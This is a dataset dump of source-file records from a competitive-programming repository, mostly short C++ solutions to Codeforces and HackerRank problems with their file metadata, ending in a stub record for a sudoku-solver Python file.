"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1201/problem/B\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <map>\n#include <utility>\n#include <algorithm>\n\nint main(){\n\tlong long int sum = 0;\n\tlong long int max = 0;\n\tlong long int min = INT_MAX;\n\t\n\tlong int n;\n\tstd::cin >> n;\n\tfor (int i=0;i<n;i++){\n\t\tlong long int num;\n\t\tstd::cin >> num;\n\t\tsum += num;\n\t\tif (num > max) max = num;\n\t\tif (num < min) min = num;\n\t}\n\n\tif (sum-max >= max && !(sum%2)) std::cout << \"YES\";\n\telse std::cout << \"NO\";\n}"
},
{
"alpha_fraction": 0.4793388545513153,
"alphanum_fraction": 0.5096418857574463,
"avg_line_length": 14.166666984558105,
"blob_id": "94c917884b650bc0a1fd53381a17cb01b4f79367",
"content_id": "64c7f75162d9ff70c6b6d34d9128cae90d07f1db",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 363,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 24,
"path": "/codeforces/1097/1097A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1097/problem/A\n\n#include <string>\n#include <iostream>\n \nint main(){\n\tstd::string desk;\n\tstd::string a;\n\tstd::cin >> desk;\n\tint i;\n\tfor (i=0; i<5; i++){\n\t\tstd::cin >> a;\n\t\tif (a[0] == desk[0]) {\n\t\t\tstd::cout << \"YES\";\n\t\t\tbreak;\n\t\t}\n\t\tif (a[1] == desk[1]) {\n\t\t\tstd::cout << \"YES\";\n\t\t\tbreak;\n\t\t}\n\t}\n \n\tif (i==5) std::cout << \"NO\";\n}"
},
{
"alpha_fraction": 0.4861878454685211,
"alphanum_fraction": 0.519336998462677,
"avg_line_length": 14.54285717010498,
"blob_id": "e6a2dab185e6c7f5e12d7b8fcbba10b1fe90f44f",
"content_id": "d507489bae6bacbaafaccd3c2dbd4d145108e048",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 543,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 35,
"path": "/codeforces/1204/1204B.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1204/problem/B\n\n#include <iostream>\n\nint main(){\n\tint n,l,r;\n\tint max = 1;\n\tint maxmem;\n\tlong int summax = 0;\n\tlong int summin = 0;\n\tstd::cin >> n >> l >> r;\n\tfor(int i=1;i<r;i++){\n\t\tmax = max*2;\n\t}\n\tmaxmem = max;\n\tfor(int i=r;i>0;i--){\n\t\tsummax += max;\n\t\tmax = max/2;\n\t}\n\tfor(int i=n-r;i>0;i--){\n\t\tsummax += maxmem;\n\t}\n\tmax = 1;\n\tfor(int i=1;i<l;i++){\n\t\tmax = max*2;\n\t}\n\tfor(int i=l;i>0;i--){\n\t\tsummin += max;\n\t\tmax = max/2;\n\t}\n\tfor(int i=n-l;i>0;i--){\n\t\tsummin++;\n\t}\n\tstd::cout << summin << \" \" << summax;\n}"
},
{
"alpha_fraction": 0.5955555438995361,
"alphanum_fraction": 0.6088888645172119,
"avg_line_length": 24.11111068725586,
"blob_id": "dc1350c1121a4f6d67637e40eb70e3ca04943e91",
"content_id": "a5febb6862cded1b36d996b9743bbc6ee9fcaeaf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 225,
"license_type": "no_license",
"max_line_length": 98,
"num_lines": 9,
"path": "/inzva acsc19/practice problems/snail.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/help-the-snail\n\n#include <iostream>\n\nint main() {\n long long int n, x, a;\n std::cin >> n >> x >> a;\n std::cout << ((a*n)-x)/(n-1);\n}"
},
{
"alpha_fraction": 0.4639175236225128,
"alphanum_fraction": 0.49140894412994385,
"avg_line_length": 21.973684310913086,
"blob_id": "9207fdc122f000ce3659de96132959fc66705a17",
"content_id": "ec9a675927de8f2cbbabe97b97c615f3e5db0333",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 873,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 38,
"path": "/inzva acsc19/final contest/g.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-final/challenges/pelinsu-and-berkecan/problem\n\n#include <vector>\n#include <iostream>\n#include <algorithm>\n\nstd::vector<int> count;\n\n\nint main() {\n int n, k;\n std::cin >> n >> k;\n std::vector<int> candies(n);\n for(int i=0;i<n;i++){ \n std::cin >> candies[i];\n }\n long int min = 1000000000000000;\n std::sort(candies.begin(),candies.end());\n if (n==k) std::cout << candies[n-1] - candies[0];\n else {\n int st = 0;\n int end = k-1;\n bool flag = false;\n while(end<n){\n int curdif = candies[end]-candies[st];\n if (curdif==0) {\n min = curdif;\n break;\n }\n else if (curdif < min) min = curdif;\n st++;\n end++;\n }\n std::cout << min;\n }\n \n \n}\n"
},
{
"alpha_fraction": 0.5205992460250854,
"alphanum_fraction": 0.5543071031570435,
"avg_line_length": 14.764705657958984,
"blob_id": "ae7d5d5f1aa5e47e7dbfc722116b91c3c0128ac6",
"content_id": "cd7e18d4458122448ecc9c32b88d83679fa2009d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 267,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 17,
"path": "/codeforces/1095/1095A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1095/problem/A\n\n#include <iostream>\n#include <string>\n \nint main(){\n\tstd::string s;\n\tstd::string c;\n\tint k, m;\n\tint i = 0;\n\tstd::cin >> m;\n\tstd::cin >> c;\n\tfor (i=0, k=1; i<m; i=k+i+1, k++){\n\t\ts.append(c, i, 1);\n\t}\n\tstd::cout << s;\n}"
},
{
"alpha_fraction": 0.42750000953674316,
"alphanum_fraction": 0.44749999046325684,
"avg_line_length": 17.227272033691406,
"blob_id": "08b5db9b79404db590674d720df7a010b469a8ec",
"content_id": "3ce7985adc915bad70c6f35f47af78e74893b4e6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 400,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 22,
"path": "/codeforces/1013/1013A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1013/problem/A\n\n#include <iostream>\n#include <vector>\n \nint main(){\n int x = 0;\n int y = 0;\n int temp;\n int n;\n std::cin >> n;\n for (int i=0; i<n; i++){\n std::cin >> temp;\n x += temp;\n }\n for (int i=0; i<n; i++){\n std::cin >> temp;\n y += temp;\n }\n if (x>=y) std::cout << \"Yes\"; \n else std::cout << \"No\";\n}"
},
{
"alpha_fraction": 0.5132743120193481,
"alphanum_fraction": 0.5353982448577881,
"avg_line_length": 12.352941513061523,
"blob_id": "0571520d27d85c341048ea534b396d59e1d72832",
"content_id": "7808ad7a31ce03bf6bac9c9bf65815d725a2e64d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 226,
"license_type": "no_license",
"max_line_length": 45,
"num_lines": 17,
"path": "/codeforces/0004/4A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/4/problem/A\n\n#include <iostream>\n \nint main(){\n\tint w;\n\tstd::cin >> w;\n\tif (w < 3) {\n\t\tstd::cout << \"NO\";\n\t\treturn 0;\n\t}\n \n\tif (w%2) std::cout << \"NO\";\n\telse std::cout << \"YES\";\n \n\treturn 0;\n}"
},
{
"alpha_fraction": 0.5896700024604797,
"alphanum_fraction": 0.5954089164733887,
"avg_line_length": 26.920000076293945,
"blob_id": "d4347795964bd5ae74c833e05130e5fd587e7b48",
"content_id": "4075e5c9d44cb21074112a16cd772c431f1d85bf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 697,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 25,
"path": "/inzva acsc19/practice problems/suchKing.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/very-very-king-yasin\n\n// distance is o(n). we have some time limit issues. -> try to implement your own tree and keep the distance.\n\n#include <iostream>\n#include <iterator>\n#include <set>\n#include <cstdio>\n\nint main(){\n std::ios::sync_with_stdio(false);\n int n;\n std::cin >> n;\n std::multiset <long int> ms;\n long int arr[n];\n for(int i=0;i<n;i++){\n std::cin >> arr[i];\n ms.insert(arr[i]);\n }\n for(int i=0;i<n;i++){\n std::multiset<long int>::iterator it = ms.lower_bound(arr[i]);\n std::cout << std::distance(ms.begin(), it) << \" \";\n ms.erase(it);\n }\n}"
},
{
"alpha_fraction": 0.49482402205467224,
"alphanum_fraction": 0.5093167424201965,
"avg_line_length": 18.360000610351562,
"blob_id": "4023ca4a39a1a9603e422d255ffe482e1ca2ba82",
"content_id": "2c8a5f333fa40a390eceb94d151ad8fc8f3608b4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 483,
"license_type": "no_license",
"max_line_length": 101,
"num_lines": 25,
"path": "/inzva acsc19/practice problems/arrow.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/it-is-brute-force\n\n#include <iostream>\n#include <map>\n\nint main() {\n long int n,cur;\n long int count = 0;\n std::cin >> n;\n std::map <long int, long int> m;\n std::cin >> cur;\n m[cur-1]++;\n count++;\n for(long int i=1;i<n;i++) {\n \tstd::cin >> cur; \n \tif (m[cur]>0) {\n \t\tm[cur]--;\n \t}\n \telse {\n \t\tcount++;\n \t}\n \tm[cur-1]++;\n }\n std::cout << count;\n}"
},
{
"alpha_fraction": 0.434908390045166,
"alphanum_fraction": 0.46190935373306274,
"avg_line_length": 22.590909957885742,
"blob_id": "f16df23ea24ffdb9080b79e51467c06d6de58ff7",
"content_id": "4cb049236eb364fafffca3086270328a47ed33a7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1037,
"license_type": "no_license",
"max_line_length": 98,
"num_lines": 44,
"path": "/inzva acsc19/practice problems/orderHavva.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/havvas-order-2\n\n#include <vector>\n#include <set>\n#include <iostream>\n\nvoid preorder(std::vector<std::set<int> >& g, int node, int n){\n std::cout << node+1 << \" \";\n for(const int i : g[node]){\n preorder(g,i,n);\n }\n return;\n}\n\nvoid postorder(std::vector<std::set<int> >& g, int node, int n){\n for(const int i : g[node]){\n postorder(g,i,n);\n }\n std::cout << node+1 << \" \";\n return;\n}\n\n\nint main(){\n int t, n;\n std::cin >> t;\n for (int j=0;j<t;j++){\n int ln = -1;\n int rn = -1;\n std::cin >> n;\n std::vector<std::set<int> > g(n);\n for(int i=1;i<n;i++){\n int n1, n2;\n std::cin >> n1 >> n2;\n if (n1 == 1 && ln == -1) ln = n2-1;\n if (n1 == 1 && ln != -1) rn = n2-1;\n g[n1-1].insert(n2-1);\n }\n preorder(g,ln,n);\n std::cout << \"1\" << \" \";\n postorder(g,rn,n);\n std::cout << std::endl;\n }\n}"
},
{
"alpha_fraction": 0.5167173147201538,
"alphanum_fraction": 0.5288753509521484,
"avg_line_length": 20.25806427001953,
"blob_id": "ce01c2994bfd283aac4454ffd967f2c5cc23b8ba",
"content_id": "842e92f1e7d6b0878d4719b8d97b2a67798fa964",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 658,
"license_type": "no_license",
"max_line_length": 101,
"num_lines": 31,
"path": "/inzva acsc19/practice problems/bruteforce.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/it-is-brute-force\n\n#include <iostream>\n#include <math.h>\n#include <limits.h>\n\n\nlong long int theSum = LONG_MAX;\n\nvoid subsetSums(long long int* arr, int n) \n{ \n long long t = 1<<n; \n for (long long i=1; i<t; i++) \n { \n long long sum = 0; \n for (int j=0; j<n; j++) \n if (i & (1<<j)) \n sum += arr[j]; \n if (abs(sum)<theSum) theSum = abs(sum);\n } \n} \n\n\nint main() {\n int n;\n std::cin >> n;\n long long int arr[n];\n for(int i=0;i<n;i++) std::cin >> arr[i];\n subsetSums(arr, n);\n std::cout << theSum;\n}"
},
{
"alpha_fraction": 0.752212405204773,
"alphanum_fraction": 0.76106196641922,
"avg_line_length": 37,
"blob_id": "797b3be398fd850171ae729aa523b39c86bbf31f",
"content_id": "1bd36919e757ba765a8d354af89efe8db08c58d5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 113,
"license_type": "no_license",
"max_line_length": 91,
"num_lines": 3,
"path": "/metu cclub kodtü2/readme.md",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "programming contest by metu cclub, [click](https://kodtu.cclub.metu.edu.tr/) for more info.\n\nteamwork with @duck2"
},
{
"alpha_fraction": 0.5201465487480164,
"alphanum_fraction": 0.553113579750061,
"avg_line_length": 15.117647171020508,
"blob_id": "acf28552f71f597f3eb8e0775058f9052833cfcc",
"content_id": "d6fd0a6972b6781acc655dc22781d94de8bf7f27",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 273,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 17,
"path": "/codeforces/1196/1196A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1196/problem/A\n\n#include <iostream>\n\nint main(){\n\tint q;\n\tstd::cin >> q;\n\tfor(int i=0;i<q;i++){\n\t\tlong long int sum = 0;\n\t\tlong long int in;\n\t\tfor(int j=0;j<3;j++){\n\t\t\tstd::cin >> in;\n\t\t\tsum+=in;\n\t\t}\n\t\tstd::cout << sum/2 << std::endl;\n\t}\n}"
},
{
"alpha_fraction": 0.4137587249279022,
"alphanum_fraction": 0.4426719844341278,
"avg_line_length": 18.30769157409668,
"blob_id": "9f065735bdfe1dd895a825c5a83b8a88b1b2781a",
"content_id": "b754575a515a52fcc493c6e17eaec5422da52554",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1003,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 52,
"path": "/codeforces/1207/1207C.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// // https://codeforces.com/contest/1207/problem/C\n\n#include <iostream>\n#include <string>\n#include <algorithm>\n\nint main(){\n\tint t;\n\tstd::cin >> t;\n\tfor(int i=0;i<t;i++){\n\t\tlong long int n, a, b;\n\t\tstd::string s;\n\t\tstd::cin >> n >> a >> b;\n\t\tstd::cin >> s;\n\t\tlong long int cost = b;\n\t\tbool seen = false;\n\t\tlong long int streak = 0;\n\t\tfor(long int j=1;j<n-1;j++){\n\t\t\tif (!seen && s[j]=='0'){\n\t\t\t\tcost += (a+b);\n\t\t\t}\n\t\t\telse if (!seen && s[j]=='1'){\n\t\t\t\tseen = true;\n\t\t\t\tcost += (2*(a+b));\n\t\t\t}\n\t\t\telse if (seen && s[j]=='0'){\n\t\t\t\tstreak++;\n\t\t\t}\n\t\t\telse if (seen && s[j]=='1'){\n\t\t\t\tif (s[j-1]=='1') cost += (a+(2*b));\n\t\t\t\telse if (streak == 1) {\n\t\t\t\t\tcost += ((2*a)+(4*b));\n\t\t\t\t\tstreak = 0;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tcost += std::min(\n\t\t\t\t\t\t((streak+1)*(a+(2*b))),\n\t\t\t\t\t\t((5*(a+b))+((streak-2)*(a+b)))\n\t\t\t\t\t\t);\n\t\t\t\t\tstreak = 0;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (streak && seen) {\n\t\t\tcost += ((streak+3)*(a+b));\n\t\t}\n\t\telse if (!seen) cost += (2*(a+b));\n\t\telse cost += ((3*a)+(3*b));\n\t\tstd::cout << cost << std::endl;\n\t}\n\n}"
},
{
"alpha_fraction": 0.4533762037754059,
"alphanum_fraction": 0.4726687967777252,
"avg_line_length": 19.799999237060547,
"blob_id": "02d703dfec7af7d1d3aa9478326e6a242dd31ca5",
"content_id": "5b5113979edbfe1a09b2d7753dc3b24be406199b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 311,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 15,
"path": "/codeforces/1187/1187A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1187/problem/A\n\n#include <iostream>\n\nint main(){\n int t;\n std::cin >> t;\n for(int i=0;i<t;i++){\n long long int n, s, t;\n std::cin >> n >> s >> t;\n long long int mn = std::min(s,t);\n mn = n-mn;\n std::cout << mn+1 << std::endl;\n }\n}"
},
{
"alpha_fraction": 0.5480093955993652,
"alphanum_fraction": 0.5597189664840698,
"avg_line_length": 20.923076629638672,
"blob_id": "f7d9a8cbb1f8037f6b445b0352930a73db0f840a",
"content_id": "c3c81dc9974c09947c82031dbcd7946ec81c93d1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 854,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 39,
"path": "/codeforces/1183/1183C.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1183/problem/C -- hacked\n\n#include <iostream>\n#include <cstdio>\n\nint main(){\n\tstd::ios::sync_with_stdio(false);\n\tint q;\n\tlong long int k, n, a, b;\n\tstd::cin >> q;\n\tfor (int j=0;j<q;j++){\n\t\tstd::cin >> k >> n >> a >> b;\n\t\tif (n*a < k) std::cout << n;\n\t\telse if (n*b >= k) std::cout << -1;\n\t\telse {\n\t\t\tlong long int just = k/a;\n\t\t\tlong long int charge = k/b;\n\t\t\tlong long int gameCount = n;\n\t\t\tlong long int chargeCount = 0;\n\t\t\tlong long int need;\n\t\t\twhile (gameCount) {\n\t\t\t\tif ((gameCount/2)*a + n-(gameCount/2)*b > k) {\n\t\t\t\t\tgameCount = gameCount/2;\n\t\t\t\t\tchargeCount = n-gameCount;\n\t\t\t\t}\n\t\t\t\tneed = (gameCount*a + chargeCount*b);\n\t\t\t\tif (need < k) break;\n\t\t\t\telse if (chargeCount > charge) break;\n\t\t\t\telse {\n\t\t\t\t\tgameCount--;\n\t\t\t\t\tchargeCount++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tstd::cout << gameCount;\n\t\t}\n\t\tstd::cout << std::endl;\n\t}\n\t\n}"
},
{
"alpha_fraction": 0.39811912178993225,
"alphanum_fraction": 0.4404388666152954,
"avg_line_length": 16.243244171142578,
"blob_id": "d7ff3157839dce72e2d1815a8307169692fdffae",
"content_id": "86865c65915c5b1d16f6c6d5b50f0ab4385753ec",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 638,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 37,
"path": "/codeforces/1166/1166B.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "//https://codeforces.com/contest/1166/problem/B\n\n#include <iostream>\n\nvoid rotate(int i) {\n\tif (i%5 == 0) std::cout << \"a\";\n\telse if (i%5 == 1) std::cout << \"e\";\n\telse if (i%5 == 2) std::cout << \"u\";\n\telse if (i%5 == 3) std::cout << \"o\";\n\telse std::cout << \"i\";\n}\n\nint main() {\n\tint l; \n\tint r = 0;\n\tint m;\n\tint flag = 0;\n\tstd::cin >> l;\n\tif (l < 25) std::cout << \"-1\";\n\telse {\n\t\tfor (m=5;m<2000;m++){\n\t\t\tif ((!(l%m)) && ((l/m)>4)) {\n\t\t\t\tint j;\n\t\t\t\tflag = 1;\n\t\t\t\tfor (j=0; j<m; j++){\n\t\t\t\t\tfor (int k=0; k<(l/m); k++){\n\t\t\t\t\t\trotate(k+r);\n\t\t\t\t\t}\n\t\t\t\t\tr++;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t} \n\t\t\telse continue;\n\t\t}\n\t\tif (!flag) std::cout << \"-1\"; \n\t}\t\n}\n"
},
{
"alpha_fraction": 0.4326483905315399,
"alphanum_fraction": 0.46917808055877686,
"avg_line_length": 17.27083396911621,
"blob_id": "d167e384743c1be3ffb632c8cb26cb40862bc4c8",
"content_id": "7192f1121cc68091604ad368ecdef20f96a157d5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 876,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 48,
"path": "/codeforces/1196/1196C.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1196/problem/C\n\n#include <iostream>\n\nint main(){\n\tint q;\n\tstd::cin >> q;\n\n\tfor(int i=0;i<q;i++){\n\t\tint r;\n\t\tstd::cin >> r;\n\t\tint downx = -100000;\n\t\tint upy = 100000;\n\t\tint upx = 100000;\n\t\tint downy = -100000;\n\t\tbool flag = true;\n\t\tfor (int j=0;j<r;j++){\n\t\t\tint x, y;\n\t\t\tint cha;\n\t\t\tstd::cin >> x >> y;\n\t\t\tstd::cin >> cha;\n\t\t\tif (!cha) {\n\t\t\t\tif (upx < x) flag = false;\n\t\t\t\tif (downx < x) downx = x;\n\t\t\t}\n\t\t\tstd::cin >> cha;\n\t\t\tif (!cha) {\n\t\t\t\tif (downy > y) flag = false;\n\t\t\t\tif (upy > y) upy = y;\n\t\t\t}\n\t\t\tstd::cin >> cha;\n\t\t\tif (!cha) {\n\t\t\t\tif (downx > x) flag = false;\n\t\t\t\tif (upx > x) upx = x;\n\t\t\t}\n\t\t\tstd::cin >> cha;\n\t\t\tif (!cha) {\n\t\t\t\tif (upy < y) flag = false;\n\t\t\t\tif (downy < y) downy = y;\n\t\t\t}\n\t\t}\n\t\tif (flag) {\n\t\t\tstd::cout << 1;\n\t\t\tstd::cout << \" \" << downx << \" \" << downy << std::endl;\n\t\t}\n\t\telse std::cout << 0 << std::endl;\n\t}\n}"
},
{
"alpha_fraction": 0.4097421169281006,
"alphanum_fraction": 0.43266475200653076,
"avg_line_length": 22.299999237060547,
"blob_id": "059d9a43d58a85749000ece770b4b7f1fd2474cc",
"content_id": "09f9078d2ec4de21429931714294de493b6419a0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 698,
"license_type": "no_license",
"max_line_length": 93,
"num_lines": 30,
"path": "/inzva acsc19/practice problems/algoTeam.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://www.hackerrank.com/contests/inzva-acsc-19-foundation-problems/challenges/algo-team\n\n#include <iostream>\n#include <string>\n\nint main(){\n int arr[26];\n for(int i=0;i<26;i++) arr[i]=0;\n std::string name;\n int n;\n std::cin >> n;\n if (n < 5) {\n for(int i=0;i<n;i++) std::cin >> name;\n std::cout << \"inzva\";\n }\n else {\n for(int i=0;i<n;i++){\n std::cin >> name;\n arr[((name[0])-'a')]++;\n }\n bool none = true;\n for(int i=0;i<26;i++) {\n if (arr[i]>=5) {\n std::cout << char('a'+i);\n none = false;\n }\n }\n if (none) std::cout << \"inzva\";\n }\n}"
},
{
"alpha_fraction": 0.40572792291641235,
"alphanum_fraction": 0.44272077083587646,
"avg_line_length": 19.975000381469727,
"blob_id": "67dd3dd0084c9b678d469704ad65e34cd7c70486",
"content_id": "5ab0af92aaa84a3bcfd178cef93e9a3e4491e444",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 838,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 40,
"path": "/codeforces/1166/1166C.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1166/problem/C --not accepted\n\n#include <iostream>\n#include <vector>\n#include <algorithm>\n\nint main(){\n\n\tint n;\n\tint count = 0;\n\tstd::cin >> n;\n\tstd::vector<int> N(20000,0);\n\tfor (int i=0;i<n;i++) std::cin >> N[i];\n\tstd::sort(N.begin(), N.end());\n\tfor (int i=0;i<n-1;i++){\n\t\tfor (int j=i+1;j<n;j++){\n\t\t\tif (N[i]!=N[j]){\n\t\t\t\tlong int x = abs(N[i]);\n\t\t\t\tlong int y = abs(N[j]);\n\t\t\t\tlong int x2 = abs(N[i]-N[j]);\n\t\t\t\tlong int y2 = abs(N[i]+N[j]);\n\n\t\t\t\tif (x == y) {\n\t\t\t\t\tif ((x2 >= x) && (y2 <= y)) count++;\n\t\t\t\t\telse if ((x2 <= x) && (y2 >= y)) count++;\n\t\t\t\t\telse if ((x2 == x) && (y2 == x)) count++;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tif (x2 < y2){\n\t\t\t\t\t\tif ((x2 <= x) && (y2 >= y)) count++;\n\t\t\t\t\t}\n\t\t\t\t\telse if (x2 > y2){\n\t\t\t\t\t\tif ((x2 >= y) && (y2 <= x)) count++;\n\t\t\t\t\t}\n\t\t\t\t}\t\t\t\t\n\t\t\t}\n\t\t}\n\t}\n\tstd::cout << count;\n}"
},
{
"alpha_fraction": 0.6054794788360596,
"alphanum_fraction": 0.6273972392082214,
"avg_line_length": 21.8125,
"blob_id": "f577a8dcb466897a97bbbc0905040f27f6360148",
"content_id": "9c7565ff90037ad813aacca5e9825b7862d8de69",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 365,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 16,
"path": "/codeforces/1145/1145A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1145/problem/A\n\n#include <iostream>\n#include <algorithm>\n\nint findSorted(int* arr, int n){\n\tif (std::is_sorted(arr, arr+n)) return n;\n\treturn std::max(findSorted(arr,n/2), findSorted(arr+(n/2),n/2));\n}\nint main(){\n\tint n;\n\tstd::cin >> n;\n\tint arr[n];\n\tfor(int i=0; i<n; i++) std::cin >> arr[i];\n\tstd::cout << findSorted(arr, n);\n}\n"
},
{
"alpha_fraction": 0.5257731676101685,
"alphanum_fraction": 0.5463917255401611,
"avg_line_length": 15.166666984558105,
"blob_id": "55efc981256bd6aebebbd582f2dff63f14d99153",
"content_id": "d7405e9faa3554597773e18b8b644d3116e44e68",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 194,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 12,
"path": "/codeforces/1186/1186A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/1186/problem/A\n\n#include <iostream>\n\n\nint main(){\n\tint n, p, nb;\n\tstd::cin >> n >> p >> nb;\n\n\tif (n<=p && n<=nb) std::cout << \"Yes\";\n\telse std::cout << \"No\";\n}\n"
},
{
"alpha_fraction": 0.5237069129943848,
"alphanum_fraction": 0.5431034564971924,
"avg_line_length": 16.22222137451172,
"blob_id": "efb1621b99589831e9012e6d50b24a0fe441b87a",
"content_id": "646cd1e669ad66455c161682cf84b61b3b7bf85e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 464,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 27,
"path": "/codeforces/0393/393A.cpp",
"repo_name": "unauo/competitive-programming",
"src_encoding": "UTF-8",
"text": "// https://codeforces.com/contest/393/problem/A\n\n#include <iostream>\n#include <string>\n#include <map>\n\nint main(){\n\tstd::string s;\n\tstd::cin >> s;\n\tstd::map <char, int> m;\n\tfor(char c : s){\n\t\tm[c]++;\n\t}\n\n\tif (m['n'] < 3) {\n\t\tstd::cout << 0;\n\t}\n\n\telse {\n\t\tint maxPos = INT_MAX;\n\t\tmaxPos = std::min(maxPos, m['i']);\n\t\tmaxPos = std::min(maxPos, m['t']);\n\t\tmaxPos = std::min(maxPos, m['e']/3);\n\t\tmaxPos = std::min(maxPos, ((m['n']-3)/2)+1);\n\t\tstd::cout << maxPos;\n\t}\n}"
}
] | 85 |
elvisun/sudoku-solver | https://github.com/elvisun/sudoku-solver | 89bb9b90f0978ef2d533bb6258031e6627c4f86a | b9acffb9ac244460f9962f9d3f4a2df90daee715 | f01673ef09cd29c10e35efa0ac7ebed7a1639d70 | refs/heads/master | 2021-01-12T10:59:58.866253 | 2016-11-03T22:23:00 | 2016-11-03T22:23:00 | 72,785,501 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.4735017418861389,
"alphanum_fraction": 0.5354135632514954,
"avg_line_length": 22.764705657958984,
"blob_id": "d7cc791acdfcbf28389048c121fa07456bb0a425",
"content_id": "daf9b1980fef1a0333018b582f67ae6acbf62fca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2019,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 85,
"path": "/app.py",
"repo_name": "elvisun/sudoku-solver",
"src_encoding": "UTF-8",
